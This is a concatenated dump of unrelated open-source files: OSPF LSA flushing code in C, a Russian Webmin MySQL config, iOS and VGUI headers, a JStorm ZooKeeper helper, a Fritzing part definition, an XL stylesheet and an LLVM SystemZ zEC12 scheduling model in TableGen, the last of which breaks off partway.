struct ospf_lsa *lsa)
{
struct listnode *node, *nnode;
struct ospf_interface *oi;
for (ALL_LIST_ELEMENTS(area->oiflist, node, nnode, oi))
ospf_ls_retransmit_delete_nbr_if(oi, lsa);
}
void ospf_ls_retransmit_delete_nbr_as(struct ospf *ospf, struct ospf_lsa *lsa)
{
struct listnode *node, *nnode;
struct ospf_interface *oi;
for (ALL_LIST_ELEMENTS(ospf->oiflist, node, nnode, oi))
ospf_ls_retransmit_delete_nbr_if(oi, lsa);
}
/* Sets ls_age to MaxAge and floods throu the area.
When we implement ASE routing, there will be anothe function
flushing an LSA from the whole domain. */
void ospf_lsa_flush_area(struct ospf_lsa *lsa, struct ospf_area *area)
{
/* Reset the lsa origination time such that it gives
more time for the ACK to be received and avoid
retransmissions */
lsa->data->ls_age = htons(OSPF_LSA_MAXAGE);
if (IS_DEBUG_OSPF_EVENT)
zlog_debug("%s: MAXAGE set to LSA %s", __func__,
inet_ntoa(lsa->data->id));
monotime(&lsa->tv_recv);
lsa->tv_orig = lsa->tv_recv;
ospf_flood_through_area(area, NULL, lsa);
ospf_lsa_maxage(area->ospf, lsa);
}
void ospf_lsa_flush_as(struct ospf *ospf, struct ospf_lsa *lsa)
{
/* Reset the lsa origination time such that it gives
more time for the ACK to be received and avoid
retransmissions */
lsa->data->ls_age = htons(OSPF_LSA_MAXAGE);
monotime(&lsa->tv_recv);
lsa->tv_orig = lsa->tv_recv;
ospf_flood_through_as(ospf, NULL, lsa);
ospf_lsa_maxage(ospf, lsa);
}
void ospf_lsa_flush(struct ospf *ospf, struct ospf_lsa *lsa)
{
lsa->data->ls_age = htons(OSPF_LSA_MAXAGE);
switch (lsa->data->type) {
case OSPF_ROUTER_LSA:
case OSPF_NETWORK_LSA:
case OSPF_SUMMARY_LSA:
case OSPF_ASBR_SUMMARY_LSA:
case OSPF_AS_NSSA_LSA:
case OSPF_OPAQUE_LINK_LSA:
case OSPF_OPAQUE_AREA_LSA:
ospf_lsa_flush_area(lsa, lsa->area);
break;
case OSPF_AS_EXTERNAL_LSA:
case OSPF_OPAQUE_AS_LSA:
ospf_lsa_flush_as(ospf, lsa);
break;
default:
zlog_info("%s: Unknown LSA type %u", __func__, lsa->data->type);
break;
}
}
| {
"pile_set_name": "Github"
} |
line1=Настраиваемые параметры,11
login=Регистрация администратора,0
pass=Пароль администратора,12
perpage=Количество строк, отображаемых на странице,0
style=Показывать базы данных и таблицы как,1,1-Список,0-Пиктограммы
add_mode=Использовать вертикальный интерфейс редактирования строк,1,1-Да,0-Нет
nodbi=Использовать по возможности DBI для соединения?,1,0-Да,1-Нет
line2=Системные параметры,11
mysqlshow=Путь к команде mysqlshow,0
mysqladmin=Путь к команде mysqladmin,0
mysql=Путь к команде mysql,0
mysqldump=Путь к команде mysqldump,0
mysqlimport=Путь к команде mysqlimport,0
start_cmd=Команда для запуска сервера MySQL,0
stop_cmd=Команда для остановки сервера MySQL,3,Автоматически
mysql_libs=Путь к каталогу разделяемых библиотек MySQL,3,Нет
host=Узел MySQL для соединения,3,localhost
sock=Файл сокетов MySQL,3,По умолчанию
| {
"pile_set_name": "Github"
} |
//
// CDILoadingView.h
// Cheddar for iOS
//
// Created by Sam Soffes on 5/28/12.
// Copyright (c) 2012 Nothing Magical. All rights reserved.
//
@interface CDILoadingView : SSLoadingView
@end
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.jstorm.batch.util;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import backtype.storm.Config;
import com.alibaba.jstorm.cluster.ClusterState;
import com.alibaba.jstorm.cluster.DistributedClusterState;
import com.alibaba.jstorm.utils.JStormUtils;
public class BatchCommon {
private static final Logger LOG = LoggerFactory.getLogger(BatchCommon.class);
private static ClusterState zkClient = null;
public static ClusterState getZkClient(Map conf) throws Exception {
synchronized (BatchCommon.class) {
if (zkClient != null) {
return zkClient;
}
List<String> zkServers;
if (conf.get(Config.TRANSACTIONAL_ZOOKEEPER_SERVERS) != null) {
zkServers = (List<String>) conf.get(Config.TRANSACTIONAL_ZOOKEEPER_SERVERS);
} else if (conf.get(Config.STORM_ZOOKEEPER_SERVERS) != null) {
zkServers = (List<String>) conf.get(Config.STORM_ZOOKEEPER_SERVERS);
} else {
throw new RuntimeException("No setting zk");
}
int port = 2181;
if (conf.get(Config.TRANSACTIONAL_ZOOKEEPER_PORT) != null) {
port = JStormUtils.parseInt(conf.get(Config.TRANSACTIONAL_ZOOKEEPER_PORT), 2181);
} else if (conf.get(Config.STORM_ZOOKEEPER_PORT) != null) {
port = JStormUtils.parseInt(conf.get(Config.STORM_ZOOKEEPER_PORT), 2181);
}
String root = BatchDef.BATCH_ZK_ROOT;
if (conf.get(Config.TRANSACTIONAL_ZOOKEEPER_ROOT) != null) {
root = (String) conf.get(Config.TRANSACTIONAL_ZOOKEEPER_ROOT);
}
root = root + BatchDef.ZK_SEPERATOR + conf.get(Config.TOPOLOGY_NAME);
Map<Object, Object> tmpConf = new HashMap<>();
tmpConf.putAll(conf);
tmpConf.put(Config.STORM_ZOOKEEPER_SERVERS, zkServers);
tmpConf.put(Config.STORM_ZOOKEEPER_ROOT, root);
zkClient = new DistributedClusterState(tmpConf);
LOG.info("Successfully connect ZK");
return zkClient;
}
}
}
| {
"pile_set_name": "Github"
} |
//========= Copyright © 1996-2002, Valve LLC, All rights reserved. ============
//
// Purpose:
//
// $NoKeywords: $
//=============================================================================
#ifndef VGUI_CONFIGWIZARD_H
#define VGUI_CONFIGWIZARD_H
#include<VGUI.h>
#include<VGUI_Panel.h>
namespace vgui
{
class TreeFolder;
class Panel;
class Button;
class VGUIAPI ConfigWizard : public Panel
{
public:
ConfigWizard(int x,int y,int wide,int tall);
public:
virtual void setSize(int wide,int tall);
virtual Panel* getClient();
virtual TreeFolder* getFolder();
protected:
TreeFolder* _treeFolder;
Panel* _client;
Button* _okButton;
Button* _cancelButton;
Button* _applyButton;
Button* _helpButton;
};
}
#endif | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?><module fritzingVersion="0.2.0.b.02.26.2493" moduleId="c0e65b2d0c9003507cf4a3222e995a45">
<version>4</version>
<author>Lionel Michel</author>
<title>Reed switch</title>
<label>S</label>
<date>2009-02-26</date>
<tags>
<tag>switch</tag>
<tag>magnet</tag>
</tags>
<properties>
<property name="family">Reed Switch</property>
<property name="package">THT</property>
</properties>
<description>Reed switch</description>
<views>
<iconView>
<layers image="icon/reed_switch.svg">
<layer layerId="icon"/>
</layers>
</iconView>
<breadboardView fliphorizontal="true" flipvertical="true">
<layers image="breadboard/reed_switch_leg.svg">
<layer layerId="breadboard"/>
</layers>
</breadboardView>
<schematicView fliphorizontal="true" flipvertical="true">
<layers image="schematic/reed_switch.svg">
<layer layerId="schematic"/>
</layers>
</schematicView>
<pcbView>
<layers image="pcb/axial_lay_2_500mil_pcb.svg">
<layer layerId="copper0"/>
<layer layerId="silkscreen"/>
<layer layerId="copper1"/></layers>
</pcbView>
</views>
<connectors>
<connector id="connector0" name="pin 1" type="male">
<description>Pin 1</description>
<views>
<breadboardView>
<p layer="breadboard" svgId="connector0pin" legId="connector0leg"/>
</breadboardView>
<schematicView>
<p layer="schematic" svgId="connector0pin" terminalId="connector0terminal"/>
</schematicView>
<pcbView>
<p layer="copper0" svgId="connector0pin"/>
<p layer="copper1" svgId="connector0pin"/></pcbView>
</views>
</connector>
<connector id="connector1" name="pin 2" type="male">
<description>Pin 2</description>
<views>
<breadboardView>
<p layer="breadboard" svgId="connector1pin" legId="connector1leg" />
</breadboardView>
<schematicView>
<p layer="schematic" svgId="connector1pin" terminalId="connector1terminal"/>
</schematicView>
<pcbView>
<p layer="copper0" svgId="connector1pin"/>
<p layer="copper1" svgId="connector1pin"/></pcbView>
</views>
</connector>
</connectors>
</module> | {
"pile_set_name": "Github"
} |
// ****************************************************************************
// xl.stylesheet (C) 1992-2004 Christophe de Dinechin (ddd)
// XL project
// ****************************************************************************
//
// File Description:
//
// Default renderer for XL
//
//
//
//
//
//
//
//
// ****************************************************************************
// This document is released under the GNU General Public License.
// See http://www.gnu.org/copyleft/gpl.html for details
// ****************************************************************************
// Nothing really special here...
infix = separator left space self space right separator
prefix = separator left space right separator
block = separator opening separator child separator closing separator
indents = " "
"block I+ I-" = indent cr child unindent newline
"block ( ) " = "(" child ")"
"?wildcard?" = "'" self "'"
"infix ," = separator left "," space right separator
"infix ;" = separator left ";" space right separator
"infix :" = separator left ":" right separator
"infix cr" = separator left newline right separator
"infix else" = separator left separator self separator right separator
"postfix %" = separator left "%" separator
"postfix !" = separator left "!" separator
"text "" """ = """" quoted_self """"
"text << >>" = "<<" unindented_self ">>"
"longtext "" """ = "<<" unindented_self ">>"
"longtext << >>" = "<<" unindented_self ">>"
"comment " = ""
| {
"pile_set_name": "Github"
} |
//=- SystemZScheduleZEC12.td - SystemZ Scheduling Definitions --*- tblgen -*-=//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file defines the machine model for ZEC12 to support instruction
// scheduling and other instruction cost heuristics.
//
// Pseudos expanded right after isel do not need to be modelled here.
//
//===----------------------------------------------------------------------===//
def ZEC12Model : SchedMachineModel {
let UnsupportedFeatures = Arch10UnsupportedFeatures.List;
let IssueWidth = 3;
let MicroOpBufferSize = 40; // Issue queues
let LoadLatency = 1; // Optimistic load latency.
let PostRAScheduler = 1;
// Extra cycles for a mispredicted branch.
let MispredictPenalty = 16;
}
let SchedModel = ZEC12Model in {
// These definitions need the SchedModel value. They could be put in a
// subtarget common include file, but it seems the include system in Tablegen
// currently (2016) rejects multiple includes of same file.
// Decoder grouping rules
let NumMicroOps = 1 in {
def : WriteRes<NormalGr, []>;
def : WriteRes<BeginGroup, []> { let BeginGroup = 1; }
def : WriteRes<EndGroup, []> { let EndGroup = 1; }
}
def : WriteRes<GroupAlone, []> {
let NumMicroOps = 3;
let BeginGroup = 1;
let EndGroup = 1;
}
def : WriteRes<GroupAlone2, []> {
let NumMicroOps = 6;
let BeginGroup = 1;
let EndGroup = 1;
}
def : WriteRes<GroupAlone3, []> {
let NumMicroOps = 9;
let BeginGroup = 1;
let EndGroup = 1;
}
// Incoming latency removed from the register operand which is used together
// with a memory operand by the instruction.
def : ReadAdvance<RegReadAdv, 4>;
// LoadLatency (above) is not used for instructions in this file. This is
// instead the role of LSULatency, which is the latency value added to the
// result of loads and instructions with folded memory operands.
def : WriteRes<LSULatency, []> { let Latency = 4; let NumMicroOps = 0; }
let NumMicroOps = 0 in {
foreach L = 1-30 in {
def : WriteRes<!cast<SchedWrite>("WLat"#L), []> { let Latency = L; }
}
}
// Execution units.
def ZEC12_FXUnit : ProcResource<2>;
def ZEC12_LSUnit : ProcResource<2>;
def ZEC12_FPUnit : ProcResource<1>;
def ZEC12_DFUnit : ProcResource<1>;
def ZEC12_VBUnit : ProcResource<1>;
def ZEC12_MCD : ProcResource<1>;
// Subtarget specific definitions of scheduling resources.
let NumMicroOps = 0 in {
def : WriteRes<FXU, [ZEC12_FXUnit]>;
def : WriteRes<LSU, [ZEC12_LSUnit]>;
def : WriteRes<FPU, [ZEC12_FPUnit]>;
def : WriteRes<DFU, [ZEC12_DFUnit]>;
foreach Num = 2-6 in { let ResourceCycles = [Num] in {
def : WriteRes<!cast<SchedWrite>("FXU"#Num), [ZEC12_FXUnit]>;
def : WriteRes<!cast<SchedWrite>("LSU"#Num), [ZEC12_LSUnit]>;
def : WriteRes<!cast<SchedWrite>("FPU"#Num), [ZEC12_FPUnit]>;
def : WriteRes<!cast<SchedWrite>("DFU"#Num), [ZEC12_DFUnit]>;
}}
def : WriteRes<VBU, [ZEC12_VBUnit]>; // Virtual Branching Unit
}
def : WriteRes<MCD, [ZEC12_MCD]> { let NumMicroOps = 3;
let BeginGroup = 1;
let EndGroup = 1; }
// -------------------------- INSTRUCTIONS ---------------------------------- //
// InstRW constructs have been used in order to preserve the
// readability of the InstrInfo files.
// For each instruction, as matched by a regexp, provide a list of
// resources that it needs. These will be combined into a SchedClass.
//===----------------------------------------------------------------------===//
// Stack allocation
//===----------------------------------------------------------------------===//
// Pseudo -> LA / LAY
def : InstRW<[WLat1, FXU, NormalGr], (instregex "ADJDYNALLOC$")>;
//===----------------------------------------------------------------------===//
// Branch instructions
//===----------------------------------------------------------------------===//
// Branch
def : InstRW<[WLat1, VBU, NormalGr], (instregex "(Call)?BRC(L)?(Asm.*)?$")>;
def : InstRW<[WLat1, VBU, NormalGr], (instregex "(Call)?J(G)?(Asm.*)?$")>;
def : InstRW<[WLat1, LSU, NormalGr], (instregex "(Call)?BC(R)?(Asm.*)?$")>;
def : InstRW<[WLat1, LSU, NormalGr], (instregex "(Call)?B(R)?(Asm.*)?$")>;
def : InstRW<[WLat1, FXU, EndGroup], (instregex "BRCT(G)?$")>;
def : InstRW<[WLat1, FXU, LSU, GroupAlone], (instregex "BRCTH$")>;
def : InstRW<[WLat1, FXU, LSU, GroupAlone], (instregex "BCT(G)?(R)?$")>;
def : InstRW<[WLat1, FXU3, LSU, GroupAlone2],
(instregex "B(R)?X(H|L).*$")>;
// Compare and branch
def : InstRW<[WLat1, FXU, NormalGr], (instregex "C(L)?(G)?(I|R)J(Asm.*)?$")>;
def : InstRW<[WLat1, FXU, LSU, GroupAlone],
(instregex "C(L)?(G)?(I|R)B(Call|Return|Asm.*)?$")>;
//===----------------------------------------------------------------------===//
// Trap instructions
//===----------------------------------------------------------------------===//
// Trap
def : InstRW<[WLat1, VBU, NormalGr], (instregex "(Cond)?Trap$")>;
// Compare and trap
def : InstRW<[WLat1, FXU, NormalGr], (instregex "C(G)?(I|R)T(Asm.*)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CL(G)?RT(Asm.*)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "CL(F|G)IT(Asm.*)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "CL(G)?T(Asm.*)?$")>;
//===----------------------------------------------------------------------===//
// Call and return instructions
//===----------------------------------------------------------------------===//
// Call
def : InstRW<[WLat1, FXU2, VBU, GroupAlone], (instregex "(Call)?BRAS$")>;
def : InstRW<[WLat1, FXU2, LSU, GroupAlone], (instregex "(Call)?BRASL$")>;
def : InstRW<[WLat1, FXU2, LSU, GroupAlone], (instregex "(Call)?BAS(R)?$")>;
def : InstRW<[WLat1, FXU2, LSU, GroupAlone], (instregex "TLS_(G|L)DCALL$")>;
// Return
def : InstRW<[WLat1, LSU, EndGroup], (instregex "Return$")>;
def : InstRW<[WLat1, LSU, NormalGr], (instregex "CondReturn$")>;
//===----------------------------------------------------------------------===//
// Move instructions
//===----------------------------------------------------------------------===//
// Moves
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "MV(G|H)?HI$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "MVI(Y)?$")>;
// Move character
def : InstRW<[WLat1, FXU, LSU3, GroupAlone], (instregex "MVC$")>;
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "MVCL(E|U)?$")>;
// Pseudo -> reg move
def : InstRW<[WLat1, FXU, NormalGr], (instregex "COPY(_TO_REGCLASS)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "EXTRACT_SUBREG$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "INSERT_SUBREG$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "REG_SEQUENCE$")>;
// Loads
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "L(Y|FH|RL|Mux)?$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LG(RL)?$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "L128$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LLIH(F|H|L)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LLIL(F|H|L)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LG(F|H)I$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LHI(Mux)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LR(Mux)?$")>;
// Load and trap
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "L(FH|G)?AT$")>;
// Load and test
def : InstRW<[WLat1LSU, WLat1LSU, LSU, FXU, NormalGr], (instregex "LT(G)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LT(G)?R$")>;
// Stores
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STG(RL)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "ST128$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "ST(Y|FH|RL|Mux)?$")>;
// String moves.
def : InstRW<[WLat30, WLat30, WLat30, MCD], (instregex "MVST$")>;
//===----------------------------------------------------------------------===//
// Conditional move instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat2, FXU, NormalGr], (instregex "LOC(G)?R(Asm.*)?$")>;
def : InstRW<[WLat2LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "LOC(G)?(Asm.*)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STOC(G)?(Asm.*)?$")>;
//===----------------------------------------------------------------------===//
// Sign extensions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, NormalGr], (instregex "L(B|H|G)R$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LG(B|H|F)R$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "LTGF$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LTGFR$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LB(H|Mux)?$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LH(Y)?$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LH(H|Mux|RL)$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LG(B|H|F)$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LG(H|F)RL$")>;
//===----------------------------------------------------------------------===//
// Zero extensions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LLCR(Mux)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LLHR(Mux)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LLG(C|H|F|T)R$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LLC(Mux)?$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LLH(Mux)?$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LL(C|H)H$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LLHRL$")>;
def : InstRW<[LSULatency, LSU, NormalGr], (instregex "LLG(C|H|F|T|HRL|FRL)$")>;
// Load and trap
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LLG(F|T)?AT$")>;
//===----------------------------------------------------------------------===//
// Truncations
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STC(H|Y|Mux)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STH(H|Y|RL|Mux)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STCM(H|Y)?$")>;
//===----------------------------------------------------------------------===//
// Multi-register moves
//===----------------------------------------------------------------------===//
// Load multiple (estimated average of 5 ops)
def : InstRW<[WLat10, WLat10, LSU5, GroupAlone], (instregex "LM(H|Y|G)?$")>;
// Load multiple disjoint
def : InstRW<[WLat30, WLat30, MCD], (instregex "LMD$")>;
// Store multiple (estimated average of 3 ops)
def : InstRW<[WLat1, LSU2, FXU5, GroupAlone], (instregex "STM(H|Y|G)?$")>;
//===----------------------------------------------------------------------===//
// Byte swaps
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LRV(G)?R$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "LRV(G|H)?$")>;
def : InstRW<[WLat1, FXU, LSU, NormalGr], (instregex "STRV(G|H)?$")>;
def : InstRW<[WLat30, MCD], (instregex "MVCIN$")>;
//===----------------------------------------------------------------------===//
// Load address instructions
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LA(Y|RL)?$")>;
// Load the Global Offset Table address
def : InstRW<[WLat1, FXU, NormalGr], (instregex "GOT$")>;
//===----------------------------------------------------------------------===//
// Absolute and Negation
//===----------------------------------------------------------------------===//
def : InstRW<[WLat2, WLat2, FXU, NormalGr], (instregex "LP(G)?R$")>;
def : InstRW<[WLat3, WLat3, FXU2, GroupAlone], (instregex "L(N|P)GFR$")>;
def : InstRW<[WLat2, WLat2, FXU, NormalGr], (instregex "LN(R|GR)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "LC(R|GR)$")>;
def : InstRW<[WLat2, WLat2, FXU2, GroupAlone], (instregex "LCGFR$")>;
//===----------------------------------------------------------------------===//
// Insertion
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr], (instregex "IC(Y)?$")>;
def : InstRW<[WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "IC32(Y)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "ICM(H|Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "II(F|H|L)Mux$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "IIHF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "IIHH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "IIHL(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "IILF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "IILH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "IILL(64)?$")>;
//===----------------------------------------------------------------------===//
// Addition
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "A(L)?(Y)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, FXU, LSU, NormalGr], (instregex "A(L)?SI$")>;
def : InstRW<[WLat2LSU, WLat2LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "AH(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AIH$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AFI(Mux)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AGFI$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AGHI(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AGR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AHI(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AHIMux(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AL(FI|HSIK)$")>;
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "ALGF$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "ALGHSIK$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "ALGF(I|R)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "ALGR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "ALR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "AR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "A(L)?HHHR$")>;
def : InstRW<[WLat2, WLat2, FXU, NormalGr], (instregex "A(L)?HHLR$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "ALSIH(N)?$")>;
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "A(L)?G$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "A(L)?GSI$")>;
// Logical addition with carry
def : InstRW<[WLat2LSU, WLat2LSU, RegReadAdv, FXU, LSU, GroupAlone],
(instregex "ALC(G)?$")>;
def : InstRW<[WLat2, WLat2, FXU, GroupAlone], (instregex "ALC(G)?R$")>;
// Add with sign extension (32 -> 64)
def : InstRW<[WLat2LSU, WLat2LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "AGF$")>;
def : InstRW<[WLat2, WLat2, FXU, NormalGr], (instregex "AGFR$")>;
//===----------------------------------------------------------------------===//
// Subtraction
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "S(G|Y)?$")>;
def : InstRW<[WLat2LSU, WLat2LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "SH(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SGR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SLFI$")>;
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "SL(G|GF|Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SLGF(I|R)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SLGR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SLR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "SR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "S(L)?HHHR$")>;
def : InstRW<[WLat2, WLat2, FXU, NormalGr], (instregex "S(L)?HHLR$")>;
// Subtraction with borrow
def : InstRW<[WLat2LSU, WLat2LSU, RegReadAdv, FXU, LSU, GroupAlone],
(instregex "SLB(G)?$")>;
def : InstRW<[WLat2, WLat2, FXU, GroupAlone], (instregex "SLB(G)?R$")>;
// Subtraction with sign extension (32 -> 64)
def : InstRW<[WLat2LSU, WLat2LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "SGF$")>;
def : InstRW<[WLat2, WLat2, FXU, NormalGr], (instregex "SGFR$")>;
//===----------------------------------------------------------------------===//
// AND
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "N(G|Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NGR(K)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NI(FMux|HMux|LMux)$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "NI(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NIHF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NIHH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NIHL(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NILF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NILH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NILL(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "NR(K)?$")>;
def : InstRW<[WLat5LSU, LSU2, FXU, GroupAlone], (instregex "NC$")>;
//===----------------------------------------------------------------------===//
// OR
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "O(G|Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OGR(K)?$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "OI(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OI(FMux|HMux|LMux)$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OIHF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OIHH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OIHL(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OILF(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OILH(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OILL(64)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "OR(K)?$")>;
def : InstRW<[WLat5LSU, LSU2, FXU, GroupAlone], (instregex "OC$")>;
//===----------------------------------------------------------------------===//
// XOR
//===----------------------------------------------------------------------===//
def : InstRW<[WLat1LSU, WLat1LSU, RegReadAdv, FXU, LSU, NormalGr],
(instregex "X(G|Y)?$")>;
def : InstRW<[WLat1LSU, FXU, LSU, NormalGr], (instregex "XI(Y)?$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "XIFMux$")>;
def : InstRW<[WLat1, FXU, NormalGr], (instregex "XGR(K)?$")>;
